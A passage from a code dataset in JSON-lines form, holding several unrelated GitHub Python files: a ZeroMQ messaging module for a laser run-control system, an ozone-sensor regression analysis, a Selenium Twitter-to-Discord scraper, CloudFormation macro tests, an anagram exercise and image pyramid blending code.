print(type(mygraph))\n print(\"Done!\")\n","repo_name":"39239580/resys_recom","sub_path":"code_tools/embeding_util/node2vec_graph.py","file_name":"node2vec_graph.py","file_ext":"py","file_size_in_byte":6773,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"6674835990","text":"# 1 ~ 9 까지 수 중에서 중복 없이 섞어서 3개의 수를 출력 하세요 \nfrom random import random\nfrom anaconda_project.internal.conda_api import remove\narr = [1,2,3,4,5,6,7,8,9]\n\nfor i in range(99):\n r = int(random() * 9)\n a = arr[0]\n arr[0] = arr[r]\n arr[r] = a\nprint(arr[0],arr[1],arr[2])\n\n# temp = int(random() * 9);\n#\n# for i in arr:\n# b = temp \n# arr.insert(i, b)\n# arr.remove(i)\n# arr.insert(b,i)\n# arr.remove(b)\n#\n# a = str(arr.pop(1))\n# b = str(arr.pop(2))\n# c = str(arr.pop(3))\n#\n# print(a+\", \"+b+\", \"+c)\n","repo_name":"ChoiDazzi/python","sub_path":"HELLO_PYTHON/DAY02/mytest06.py","file_name":"mytest06.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33350226363","text":"import zmq\nimport struct\nfrom base.base import *\nfrom services.data import LaserData\n\n# TODO: Split classes into files\n# TODO: Implement shut down of zmq messaging\n\nclass Communication(Base):\n ID = {0: \"Assembler\",\n 1: \"RunControl\",\n 2: \"Encoder\"}\n ID_RUNCONTROL = 1\n ID_ENCODER = 2\n\n def __init__(self, name):\n self.name = name\n self.id = -99\n self.state = 0\n\n self.context =zmq.Context()\n\n def start(self, channel):\n \"\"\" bind the socket to some communication channel, default will use an ipc socket \"\"\"\n self.socket.connect(channel)\n\n def stop(self):\n self.printMsg(\"Shutting down communication\")\n self.socket.close()\n self.context.term()\n\n def printMessage(self, id, state):\n self.printMsg(\"zmq message header: id: \" + str(id) + \" (\" + Communication.ID[id] + \")\" + \" state: \" + str(state))\n\nclass broker(Communication):\n def __init__(self):\n # Prepare our context and sockets\n name = \"broker\"\n\n super(broker, self).__init__(name=name)\n\n self.context = zmq.Context()\n self.frontend = self.context.socket(zmq.ROUTER)\n self.backend = self.context.socket(zmq.DEALER)\n self.frontend.bind(\"ipc:///tmp/laser-in.ipc\")\n self.backend.bind(\"ipc:///tmp/laser-out.ipc\")\n\n # Initialize poll set\n self.poller = zmq.Poller()\n self.poller.register(self.frontend, zmq.POLLIN)\n self.poller.register(self.backend, zmq.POLLIN)\n\n\n\n # exchange messages between sockets\n while True:\n socks = dict(self.poller.poll())\n\n if socks.get(self.frontend) == zmq.POLLIN:\n message = self.frontend.recv_multipart()\n self.backend.send_multipart(message)\n\n if socks.get(self.backend) == zmq.POLLIN:\n message = self.backend.recv_multipart()\n self.frontend.send_multipart(message)\n\n\n# ------------------------------ CONSUMER ------------------------------------\n\nclass Consumer(Communication):\n def __init__(self, name):\n super(Communication, self).__init__(name=name)\n super(Consumer, self).__init__(name=name)\n self.id = -99\n self.name = name\n #self.context = zmq.Context()\n self.socket = self.context.socket(zmq.REP)\n\n self.timeout = 600 # time we wait for hello message\n self.encoder_alive = False\n self.runcontrol_alive = False\n\n\n\n def start(self, channel=\"\"):\n \"\"\" bind the socket to some communication channel, default will use an ipc socket \"\"\"\n # start up serve\n if channel is \"\":\n self.socket.connect(\"ipc:///tmp/laser-out.ipc\")\n else:\n self.socket.connect(channel)\n\n # TODO: Change poller to timer. This is always resetting when a new message is recieved from anywhere\n def recv_hello(self):\n hello_data = LaserData()\n\n poller = zmq.Poller()\n poller.register(self.socket, zmq.POLLIN)\n\n if poller.poll(10000000):\n self.printMsg(\"Waiting for Hello\")\n [reply_id, reply_state] = self.recv(hello_data)\n\n if DEBUG:\n self.printMessage(reply_id, reply_state)\n\n if reply_state == -1:\n return reply_id\n\n else:\n self.printMsg(\"Msg was not hello\")\n return -1\n else:\n self.printError(\"ran out of time for hello messages\")\n sys.exit(-1)\n\n def recv_hellos(self):\n \"\"\" We require that one encoder and one run control is alive \"\"\"\n self.printMsg(\"waiting for hello\")\n reply_id = self.recv_hello()\n\n if reply_id == Communication.ID_ENCODER:\n self.encoder_alive = True\n elif reply_id == Communication.ID_RUNCONTROL:\n self.runcontrol_alive = True\n else:\n self.printError(\"Did not collect hello from everyone yet. (\" + str(reply_id) + \")\")\n\n if (self.encoder_alive is True) and (self.runcontrol_alive is True):\n return True\n\n def recv(self, data):\n info_string, data_string = self.socket.recv_multipart()\n self.send_ack()\n [ID, STATE] = self.unpack_info(info_string)\n\n if ID == self.ID_ENCODER: # data from run control\n self.printMsg(\"Received data from encoder\")\n self.unpack_encoder(data_string, data)\n\n # Something here is very strange: Serialization seems to be different from c and python. Floats and ints\n # work, but everythin else ends up crookend: So in some time we will have a problem here!\n data.trigger_time_sec += 1471533965\n elif ID == self.ID_RUNCONTROL: # data from encoder\n self.printMsg(\"Received data from run control\")\n self.unpack_runcontrol(data_string, data)\n else:\n self.printError(\"Exiting: Message from unidentified client received (ID was \" + str(ID) + \")\")\n sys.exit(-1)\n\n return [ID, STATE]\n\n def send_ack(self):\n self.socket.send(b\"OK\")\n\n def unpack_encoder(self, data_string, container):\n container.trigger_time_sec, container.trigger_time_usec, container.pos_rot, container.pos_lin, \\\n container.count_trigger = struct.unpack('f' * 2 + 'f' * 3, data_string)\n\n\n def unpack_runcontrol(self, data_string, container):\n (container.laserid, container.pos_att, container.pos_iris, container.count_run, container.count_run,\n container.pos_tomg_1_axis1, container.pos_tomg_1_axis2, container.pos_tomg_2_axis1, container.pos_tomg_2_axis2) \\\n = struct.unpack('i' + 'f' * 8, data_string)\n def unpack_info(self, info_string):\n [id, state] = struct.unpack('ii', info_string) #[0]\n return [id, state]\n\n# ------------------------------ PRODUCER ------------------------------------\n\nclass Producer(Communication):\n\n def __init__(self, name):\n super(Communication, self).__init__(name=name)\n super(Producer, self).__init__(name=name)\n self.name = name\n #self.context = zmq.Context()\n self.socket = self.context.socket(zmq.REQ)\n self.color = True\n\n self.id = -99\n\n def start(self):\n self.socket.connect(\"ipc:///tmp/laser-in.ipc\")\n\n def send_hello(self):\n \"\"\" Send hello message to consumer. The idea is:\n 1. Set self.state = -1\n 2. send complete message frame to consumer\"\"\"\n self.printMsg(\"Sending Hello\")\n hello_data = LaserData()\n recieved = self.send_data(hello_data)\n\n return recieved\n\n def pack_encoder(self, data_msg):\n \"\"\" serializes the variable according to the communication definitions \"\"\"\n info_string = struct.pack('i' * 2, self.id, self.state)\n\n data_string = struct.pack('f' * 2 + 'f' * 3, data_msg.trigger_time_sec, data_msg.trigger_time_usec,\n data_msg.pos_rot, data_msg.pos_lin, data_msg.count_trigger)\n\n return [info_string, data_string]\n\n def pack_runcontrol(self, data_msg):\n \"\"\" serializes the variable according to the communication definitions \"\"\"\n info_string = struct.pack('i' * 2, self.id, self.state)\n\n data_string = struct.pack('i' + 'f' * 8, data_msg.laserid, data_msg.pos_att, data_msg.pos_iris,\n data_msg.count_run, data_msg.count_run, data_msg.pos_tomg_1_axis1,\n data_msg.pos_tomg_1_axis2, data_msg.pos_tomg_2_axis1, data_msg.pos_tomg_2_axis2)\n\n return [info_string, data_string]\n\n def send_data(self, data):\n self.printMsg(\"Sending Data\")\n if self.name == \"encoder\":\n self.socket.send_multipart(self.pack_encoder(data))\n\n elif self.name == \"runcontrol\":\n self.socket.send_multipart(self.pack_runcontrol(data))\n else:\n self.printError(\"did not recognize name of sender\")\n message = self.socket.recv()\n\n self.printMsg(message)\n if message == \"Ok\":\n return True\n else:\n return False\n\n\n def recv_ack(self):\n pass\n self.printMsg(\"Control Message: ID=\" + str(self.ID) + \" Status=\" + str(self.Status))\n","repo_name":"maluethi/LCS","sub_path":"workspace/RunControl/services/communication.py","file_name":"communication.py","file_ext":"py","file_size_in_byte":8235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38835359722","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport pymc3 as pm\nimport seaborn as sns\nimport arviz as az\n\nif __name__ == '__main__':\n data = pd.read_csv('datos-17001.csv', sep = ';')\n df = pd.DataFrame({'RefSt': data[\"RefSt\"], 'Sensor_O3': data[\"Sensor_O3\"], 'Temp': data[\"Temp\"], 'RelHum': data[\"RelHum\"]})\n X = df[['Sensor_O3', 'Temp', 'RelHum']]\n Y = df['RefSt']\n from sklearn.model_selection import train_test_split\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = 0.3, random_state = 1, shuffle = True)\n df_train_1 = pd.DataFrame({'Sensor_O3': X_train[\"Sensor_O3\"], 'Temp': X_train[\"Temp\"], 'RelHum': X_train[\"RelHum\"]})\n df_train_y=pd.DataFrame({'RefSt': Y_test})\n df_test_1 = pd.DataFrame({'RefSt': Y_test, 'Sensor_O3': X_test[\"Sensor_O3\"], 'Temp': X_test[\"Temp\"], 'RelHum': X_test[\"RelHum\"]})\n # Loss functions definition\n from sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error\n def loss_functions(y_true, y_pred):\n print(\"Loss functions:\")\n print(\"* R-squared =\", r2_score(y_true, y_pred))\n print(\"* RMSE =\", mean_squared_error(y_true, y_pred))\n print(\"* MAE =\", mean_absolute_error(y_true, y_pred))\n #plots 1.1\n data.plot(x = 'date', y = 'Sensor_O3', title = 'Sensor_O3 vs date plot')\n plt.ylabel('MOX sensor measurements in [KOhms]')\n plt.show()\n data.plot(x = 'date', y = 'RefSt', title = 'RefSt vs date plot')\n plt.ylabel('Reference station O3 in [ugr/m3]')\n plt.show()\n #plot 1.2\n plt.scatter(data['Sensor_O3'], data['RefSt'])\n plt.title('Sensor_O3 vs RefSt')\n plt.xlabel('MOX sensor measurements in [KOhms]')\n plt.ylabel('Reference station O3 in [ugr/m3]')\n plt.show()\n norSensor_O3 = (data['Sensor_O3']-data['Sensor_O3'].mean())/data['Sensor_O3'].std()\n norRefSt = (data['RefSt']-data['RefSt'].mean())/data['RefSt'].std()\n plt.scatter(norSensor_O3, norRefSt)\n plt.title('Sensor_O3 vs RefSt. NORMALISED')\n plt.xlabel('MOX sensor measurements in [KOhms]')\n plt.ylabel('Reference station O3 in [ugr/m3]')\n plt.show()\n #plot 1.3\n plt.scatter(data['Sensor_O3'], data['Temp'])\n plt.title('Sensor_O3 vs Temp')\n plt.xlabel('MOX sensor measurements in [KOhms]')\n plt.ylabel('Temperature sensor in ºC')\n plt.show()\n plt.scatter(data['Sensor_O3'], data['RelHum'])\n plt.title('Sensor_O3 vs RelHum')\n plt.xlabel('MOX sensor measurements in [KOhms]')\n plt.ylabel('Relative humidity sensor in %')\n plt.show()\n plt.scatter(data['RefSt'], data['Temp'])\n plt.title('RefSt vs Temp')\n plt.xlabel('Reference station O3 in [ugr/m3]')\n plt.ylabel('Temperature sensor in ºC')\n plt.show()\n plt.scatter(data['RefSt'], data['RelHum'])\n plt.title('RefSt vs RelHum')\n plt.xlabel('Reference station O3 in [ugr/m3]')\n plt.ylabel('Relative humidity sensor in %')\n plt.show()\n #MUltiple Linear Regression with normal equations\n #Pred = θ0 + θ1·XSensor_O3 + θ2·XTemp + θ3·XRelHum + variance\n from sklearn.linear_model import LinearRegression\n # Model\n lr = LinearRegression()\n # Fit\n lr.fit(X_train, Y_train)\n # Get MLR coefficients\n #fit_intercept=False sets the y-intercept to 0. If fit_intercept=True, the y-intercept will be determined by the line of best fit.\n print('Intercept: \\n', lr.intercept_)\n #coefficent of the linear regression θ1, θ2, θ3\n print('Coefficients: \\n', lr.coef_)\n var_RefSt= (data['RefSt'].std()**2)\n # Predict\n df_test_1[\"MLR_Pred\"] = lr.intercept_ + lr.coef_[0]*df_test_1[\"Sensor_O3\"] + lr.coef_[1]*df_test_1[\"Temp\"] + lr.coef_[2]*df_test_1[\"RelHum\"]\n # Plot linear\n plt.scatter(df_test_1[\"RefSt\"],df_test_1[\"MLR_Pred\"])\n plt.xticks(rotation = 20)\n plt.title('RefSt vs MLR_Pred')\n # Plot regression\n sns.lmplot(x='RefSt', y='MLR_Pred', data=df_test_1, fit_reg=True, line_kws={'color': 'orange'})\n #plt.show()\n # Loss\n loss_functions(y_true = df_test_1[\"RefSt\"], y_pred = df_test_1[\"MLR_Pred\"])\n #part 2 Multiple Linear Regression (Beyasian framework)\n basic_model = pm.Model()\n with basic_model:\n pm.glm.GLM.from_formula(\"RefSt ~ Sensor_O3 + Temp + RelHum\", data, family=pm.families.Normal(), offset=1.0)\n start= pm.find_MAP()\n step=pm.NUTS(scaling=start)\n trace= pm.sample(draws=100, step=step, start=start, progressbar=True)\n\n","repo_name":"Neruzzz/SANS-Projects","sub_path":"Homework 4/HW4.py","file_name":"HW4.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32145770879","text":"from app.scraper import TwitterScraper, TWITTER_PREFIX\nfrom app.db import Base, TweetSent\n\nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\n\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import Session\n\nfrom discord_webhook import DiscordWebhook, DiscordEmbed\n\nimport time\nimport traceback\nimport os\nimport dotenv\n\ndotenv.load_dotenv()\n\nWEBHOOK_URL = os.environ[\"WEBHOOK_URL\"]\n\ndb_engine = create_engine(os.environ[\"POSTGRES_URI\"], echo=True)\nsession = Session(db_engine)\nBase.metadata.create_all(db_engine)\n\n\ndef set_chrome_options() -> Options:\n \"\"\"Sets chrome options for Selenium.\n Chrome options for headless browser is enabled.\n \"\"\"\n chrome_options = Options()\n chrome_options.add_argument(\"--headless\")\n chrome_options.add_argument(\"--no-sandbox\")\n chrome_options.add_argument(\"--disable-dev-shm-usage\")\n chrome_prefs = {}\n chrome_options.experimental_options[\"prefs\"] = chrome_prefs\n chrome_prefs[\"profile.default_content_settings\"] = {\"images\": 2}\n return chrome_options\n\n\ndriver = webdriver.Chrome(\n service=ChromeService(ChromeDriverManager().install()), options=set_chrome_options()\n)\nscraper = TwitterScraper(driver, delay=15)\n\n\ndef run():\n while True:\n try:\n source = scraper.fetch_page_source(os.environ[\"TWITTER_USER\"])\n try:\n data = scraper.get_one_tweet_preview(1, source)\n except:\n traceback.print_exc()\n continue\n\n result = (\n session.query(TweetSent).filter_by(id=int(data[\"tweet\"][\"id\"])).first()\n )\n print(\n f\"Latest tweet is {data['tweet']['id']}, record {'exists' if result else 'does not exist'} in database\"\n )\n if not result:\n # This tweet has not been sent via webhook, send it and add record\n hook = DiscordWebhook(url=WEBHOOK_URL)\n embed = DiscordEmbed(\n title=\"Retweet\" if data[\"retweet\"] else \"Link\",\n description=data[\"tweet\"][\"text\"][:2000],\n url=data[\"author\"][\"link\"] + f\"/status/{data['tweet']['id']}\",\n )\n embed.set_author(\n name=data[\"author\"][\"name\"]\n + f\" (@{data['author']['link'].replace(TWITTER_PREFIX + '/', '')})\",\n url=data[\"author\"][\"link\"],\n icon_url=data[\"author\"][\"avatar\"],\n )\n embed.set_color(color=11393254)\n embed.set_timestamp(data[\"tweet\"][\"time\"])\n embed.set_footer(text=\"Powered by https://github.com/ahnaf-zamil/banjoscraper-discord/\")\n\n images = data[\"tweet\"][\"images\"]\n if len(images):\n embed.set_image(url=images[0])\n\n hook.add_embed(embed)\n hook.execute()\n new_tweet = TweetSent(\n id=int(data[\"tweet\"][\"id\"]),\n tweet_time=data[\"tweet\"][\"time\"],\n author_handle=data[\"author\"][\"handle\"],\n message_id=int(hook.id),\n )\n session.add(new_tweet)\n session.commit()\n\n time.sleep(int(os.environ[\"SCRAPER_DELAY\"]))\n except KeyboardInterrupt:\n break\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"ahnaf-zamil/banjoscraper-discord","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"35724008881","text":"import unittest\n\nfrom handler import variable_substitution, walk\n\nclass TestHandler(unittest.TestCase):\n\n def test_handler(self):\n event = {\n \"templateParameterValues\": { \"stage\": \"dev\" },\n \"fragment\": { \"property\": \"{stage}-property\" },\n \"requestId\": \"request1234\"\n }\n\n expected = {\n \"requestId\": \"request1234\",\n \"status\": \"success\",\n \"fragment\": { \"property\": \"dev-property\" },\n }\n\n self.assertEqual(variable_substitution(event, {}), expected)\n\nclass TestWalk(unittest.TestCase):\n\n context = {\n \"stage\": \"dev\",\n \"region\": \"us-east-1\"\n }\n\n def test_dict(self):\n template = {\n \"property1\": \"my-{stage}-property\",\n \"property2\": \"{region}-property\"\n }\n expected = {\n \"property1\": \"my-dev-property\",\n \"property2\": \"us-east-1-property\"\n }\n self.assertEqual(walk(template, self.context), expected)\n\n def test_list(self):\n template = [\n \"{stage}-element\",\n \"{region}-element\"\n ]\n expected = [\n \"dev-element\",\n \"us-east-1-element\"\n ]\n self.assertEqual(walk(template, self.context), expected)\n\n def test_string(self):\n template = \"resource-{stage}\"\n expected = \"resource-dev\"\n self.assertEqual(walk(template, self.context), expected)\n\n def test_non_string(self):\n template = 1\n expected = 1\n self.assertEqual(walk(template, self.context), expected)\n \n def test_nested(self):\n template = {\n \"property1\": [\n \"{stage}-thing\"\n ],\n \"property2\": \"{region}-property\",\n \"property3\": \"{stage}-string\",\n \"property4\": 4\n }\n expected = {\n \"property1\": [\n \"dev-thing\"\n ],\n \"property2\": \"us-east-1-property\",\n \"property3\": \"dev-string\",\n \"property4\": 4\n }\n self.assertEqual(walk(template, self.context), expected)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"alexdebrie/cfn-macros","sub_path":"variable-substitution/test_handler.py","file_name":"test_handler.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"22892727781","text":"'''\nString Anagrams\nGiven a string and a pattern, find all anagrams of the pattern in the given string.\nAnagram is actually a Permutation of a string. For example, “abc” has the following six anagrams:\nabc\nacb\nbac\nbca\ncab\ncba\nWrite a function to return a list of starting indices of the anagrams of the pattern in the given string.\nExample 1:\nInput: String=\"ppqp\", Pattern=\"pq\"\nOutput: [1, 2]\nExplanation: The two anagrams of the pattern in the given string are \"pq\" and \"qp\".\nExample 2:\nInput: String=\"abbcabc\", Pattern=\"abc\"\nOutput: [2, 3, 4]\nExplanation: The three anagrams of the pattern in the given string are \"bca\", \"cab\", and \"abc\".\n'''\n\nfrom collections import Counter\n\ndef get_anagrams(s, p):\n pt_cnt = Counter(p)\n res = None\n\n for i in range(len(s)):\n curr_rec = i\n while curr_rec + len(p) <= len(s):\n tmp_cnt = Counter(s[curr_rec:curr_rec+len(p)])\n if tmp_cnt == pt_cnt:\n res = list(range(curr_rec,curr_rec+len(p)))\n break\n curr_rec += 1\n if res:\n return res\n\n return res\n\nprint(get_anagrams(\"ppqp\",\"pq\"))\nprint(get_anagrams(\"abbcabc\",\"abc\"))\n","repo_name":"pyalwin/leetcode_problems","sub_path":"sliding_window/anagrams.py","file_name":"anagrams.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4747760335","text":"import imageio\r\nfrom skimage import color\r\nimport matplotlib.pyplot as plt\r\nimport scipy.signal\r\nimport scipy.linalg as lin\r\nimport numpy as np\r\nimport os\r\n\r\nMAX_COLOR = 255\r\n\r\n\r\ndef relpath(filename):\r\n return os.path.join(os.path.dirname(__file__), filename)\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Helper functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\ndef create_filter(filter_size):\r\n \"\"\"\r\n create 2D filter_size x filter_size array\r\n :param filter_size: int\r\n :return:\r\n \"\"\"\r\n temp = lin.pascal(filter_size, kind='lower')\r\n filter = np.zeros(temp.shape)\r\n filter[np.int32(filter_size / 2)] = temp[-1]\r\n return filter / np.sum(temp[-1])\r\n\r\n\r\n# make shape(even_number,even_number)\r\ndef up_sample(img, axis):\r\n if axis: return np.append(img, np.zeros((np.shape(img)[0], 1)), axis=1)\r\n return np.append(img, np.zeros((1, np.shape(img)[1])), axis=0)\r\n\r\n\r\n# helpers of build_..._pyramid\r\ndef expand(image, filter):\r\n \"\"\"\r\n expand by 2 the image, using filler as a filler for the blank rows\r\n :param image:\r\n :param filter:\r\n :return:\r\n \"\"\"\r\n result = np.zeros((image.shape[0] * 2, image.shape[1] * 2))\r\n\r\n result[::2, ::2] = image\r\n\r\n result = scipy.signal.convolve2d(result, 2 * filter.T, mode='same')\r\n result = scipy.signal.convolve2d(result, 2 * filter, mode='same')\r\n return result\r\n\r\n# make th image with shape%2=0, then reduce. expand wont change the dim result in\r\ndef reduce(image, filter):\r\n \"\"\"\r\n reduce the size of an image by factor of 2, using filter to blur before the sampling\r\n :param image:\r\n :param filter:\r\n :return:\r\n \"\"\"\r\n if image.shape[0] % 2: image = up_sample(image, 0)\r\n if image.shape[1] % 2: image = up_sample(image, 1)\r\n filter = np.outer(filter, filter)\r\n result = scipy.signal.convolve2d(image, filter, mode='same')\r\n return result[::2, ::2]\r\n\r\n\r\n\r\n\r\n# make shape(even_number,even_number)\r\ndef equalize_dim(filter_vec, target_img, result):\r\n expandedImg = expand(result, filter_vec)\r\n # fic uneven expention (1->2: 418/2 = 209, 2->3: 209/2 = 105, 3->2: 105*2 = 210)\r\n if target_img.shape[0] == expandedImg.shape[0] - 1:\r\n expandedImg = expandedImg[:expandedImg.shape[0] - 1, :]\r\n if target_img.shape[1] == expandedImg.shape[1] - 1:\r\n expandedImg = expandedImg[:, :expandedImg.shape[1] - 1]\r\n return expandedImg\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ End Of Helpers ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\n\r\n# Q1 code\r\ndef build_gaussian_pyramid(im, max_levels, filter_size):\r\n \"\"\"\r\n creates a gaussian pyramid\r\n\r\n :param im:– a grayscale image with double values in [0, 1] (e.g. the output of ex1’s read_image with the\r\n representation set to 1).\r\n :param max_levels:the maximal number of levels (including the original level) in the resulting pyramid.\r\n :param filter_size: the size of the Gaussian filter (an odd scalar that represents a squared filter) to be used\r\n in constructing the pyramid filter (e.g for filter_size = 3 you should get [0.25, 0.5, 0.25]). You may\r\n assume the filter size will be >=2\r\n\r\n :return: pyr - Both functions should output the resulting pyramid pyr as a standard python array, grey scale, up\r\n to max_levels levels\r\n filter_vec - The functions should also output filter_vec which is row vector of shape (1, filter_size) used\r\n for the pyramid construction. This filter should be built using a consequent 1D convolutions of [1\r\n 1] with itself in order to derive a row of the binomial coefficients which is a good approximation to\r\n the Gaussian profile. The filter_vec should be normalized.\r\n \"\"\"\r\n minimal_len_img = 32\r\n\r\n filter = create_filter(filter_size)\r\n pyr = list()\r\n pyr.append(im)\r\n for i in range(1, max_levels):\r\n if pyr[-1].shape[0] >= minimal_len_img and pyr[-1].shape[1] >= minimal_len_img:\r\n pyr.append(reduce(pyr[-1], filter))\r\n\r\n formated_filter = filter[np.int32(filter_size / 2)]\r\n\r\n return pyr, np.array(formated_filter).reshape(1, len(formated_filter))\r\n\r\n\r\ndef build_laplacian_pyramid(im, max_levels, filter_size):\r\n \"\"\"\r\n creates a laplacian pyramid\r\n\r\n :param im:– a grayscale image with double values in [0, 1] (e.g. the output of ex1’s read_image with the\r\n representation set to 1).\r\n :param max_levels:the maximal number of levels (including the original level) in the resulting pyramid.\r\n :param filter_size: the size of the Gaussian filter (an odd scalar that represents a squared filter) to be used\r\n in constructing the pyramid filter (e.g for filter_size = 3 you should get [0.25, 0.5, 0.25]). You may\r\n assume the filter size will be >=2\r\n\r\n :return: pyr - Both functions should output the resulting pyramid pyr as a standard python array, grey scale, up\r\n to max_levels levels\r\n filter_vec - The functions should also output filter_vec which is row vector of shape (1, filter_size) used\r\n for the pyramid construction. This filter should be built using a consequent 1D convolutions of [1\r\n 1] with itself in order to derive a row of the binomial coefficients which is a good approximation to\r\n the Gaussian profile. The filter_vec should be normalized.:\r\n \"\"\"\r\n gaussian, filter = build_gaussian_pyramid(im, max_levels, filter_size)\r\n laplasian_pyr = list()\r\n\r\n for i in range(1, len(gaussian)): # can't be vectorized as its continuous process\r\n x = gaussian[i - 1]\r\n # expandedImg = equalize_dim(create_filter(len(filter)), x, gaussian[i])\r\n laplasian_pyr.append(x - expand(gaussian[i],create_filter(filter_size))[:x.shape[0],:x.shape[1]]) # expand will result in\r\n # even dim, bigger or equal to source, if needed odd shape, we will down sample.\r\n\r\n laplasian_pyr.append(gaussian[-1])\r\n\r\n return laplasian_pyr, filter\r\n\r\n\r\n# Q2 code\r\ndef laplacian_to_image(lpyr, filter_vec, coeff):\r\n \"\"\"\r\n\r\n :param lpyr: laplacian pyramid\r\n :param filter_vec: the filer used to calc the laplacian\r\n :param coeff:python list. The list length is the same as the number of levels in the pyramid lpyr.\r\n Before reconstructing the image img you should multiply each level i of the laplacian pyramid by\r\n its corresponding coefficient coeff[i].\r\n\r\n :return:\r\n \"\"\"\r\n # idea - take min level, expand, and laplacian, then repeat as if the result is the min level\r\n\r\n result = lpyr[-1] * coeff[-1]\r\n for i in range(1, len(lpyr)):\r\n expandedImg = equalize_dim(create_filter(len(filter_vec)), lpyr[-(i + 1)], result)\r\n result = expandedImg + lpyr[-(i + 1)] * coeff[-(i + 1)]\r\n\r\n return result + lpyr[0]\r\n\r\n\r\n# Q3 Code\r\ndef stretch_img(img):\r\n img = img - np.min(img)\r\n if np.max(img):\r\n img = img / np.max(img)\r\n return img\r\n\r\n\r\ndef render_pyramid(pyr, levels):\r\n \"\"\"\r\n\r\n :param pyr:\r\n :param levels:\r\n :return: res: is a single black image in which the pyramid levels of the\r\n given pyramid pyr are stacked horizontally (after stretching the values to [0, 1])\r\n \"\"\"\r\n\r\n res = stretch_img(pyr[0])\r\n\r\n for i, img in enumerate(pyr[1:]):\r\n if i == levels - 1:\r\n break\r\n # organize the image\r\n img = stretch_img(img)\r\n # make the big picture\r\n res = np.concatenate((res, np.pad(img, ((0, pyr[0].shape[0] - img.shape[0]), (0, 0)), mode='constant')), axis=1)\r\n\r\n return res\r\n\r\n\r\ndef display_pyramid(pyr, levels):\r\n plt.imshow(render_pyramid(pyr, levels), cmap='gray')\r\n\r\n\r\n\r\n# Q4 Code\r\ndef pyramid_blending(im1, im2, mask, max_levels, filter_size_im, filter_size_mask):\r\n \"\"\"\r\n :param im1: im1, im2 – are two input grayscale images to be blended.\r\n :param im2: im1, im2 – are two input grayscale images to be blended.\r\n :param mask: mask – is a boolean (i.e. dtype == np.bool) mask containing True and False representing which parts\r\n of im1 and im2 should appear in the resulting im_blend. Note that a value of True corresponds to 1,\r\n and False corresponds to 0.\r\n :param max_levels:max_levels – is the max_levels parameter you should use when generating the Gaussian and Laplacian\r\n pyramids.\r\n :param filter_size_im:filter_size_im – is the size of the Gaussian filter (an odd scalar that represents a squared filter) which\r\n defining the filter used in the construction of the Laplacian pyramids of im1 and im2.\r\n :param filter_size_mask:filter_size_mask – is the size of the Gaussian filter(an odd scalar that represents a squared filter) which\r\n defining the filter used in the construction of the Gaussian pyramid of mask.\r\n :return im_blend - the blended image\r\n \"\"\"\r\n\r\n laplacian_im1, filter = build_laplacian_pyramid(im1, max_levels, filter_size_im)\r\n laplacian_im2, filter = build_laplacian_pyramid(im2, max_levels, filter_size_im)\r\n gaussian_mask_pyr, filter2 = build_gaussian_pyramid(mask.astype(float), max_levels, filter_size_mask)\r\n lout = list()\r\n\r\n for level in range(min(max_levels, len(laplacian_im1), len(laplacian_im2))):\r\n lout.append(\r\n gaussian_mask_pyr[level] * laplacian_im1[level] + (1 - gaussian_mask_pyr[level]) * laplacian_im2[level])\r\n\r\n res = laplacian_to_image(lout, create_filter(filter_size_im), np.ones(len(lout)))\r\n\r\n # clipping out of bounds values\r\n res[res < 0] = 0\r\n res[res > 1] = 1\r\n\r\n return res\r\n\r\n\r\n# Q 4.1 Code\r\ndef blending_example_facade(mask1, im1, im2, result_name):\r\n mask = read_image(relpath(mask1), 1)\r\n # make sure that we are having a binary img\r\n temp = np.zeros(mask.shape)\r\n mask = mask == 1\r\n\r\n im1 = read_image(relpath(im1), 1)\r\n im2 = read_image(relpath(im2), 1)\r\n\r\n res = pyramid_blending(im1, im2, mask, 3, 3, 3)\r\n\r\n imageio.imwrite(relpath(result_name + '.jpg'), np.uint8(res * 255), format='jpg')\r\n\r\n return im1, im2, mask, res\r\n\r\n\r\ndef blending_example1():\r\n return blending_example_facade(r'externals/mask.jpg', r'externals/katan.jpg', r'externals/nach.jpg',\r\n r'externals/Nachliely_Katan')\r\n\r\n\r\ndef blending_example2():\r\n return blending_example_facade(r'externals/mask2.jpg', r'externals/cpn_jack.jpg', r'externals/OppTheatrics.jpg',\r\n 'externals/JackTheatrics')\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Additional stuff from previous exercises ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\"\"\"histogram equalization and its helper functions\"\"\"\r\n\r\n\r\ndef histogram_equalize(im_orig):\r\n \"\"\"\r\n Apply the histogram_equalization\r\n :param im_orig: grey scale or RGB normalized to [0,1]\r\n :return: [im_eq, 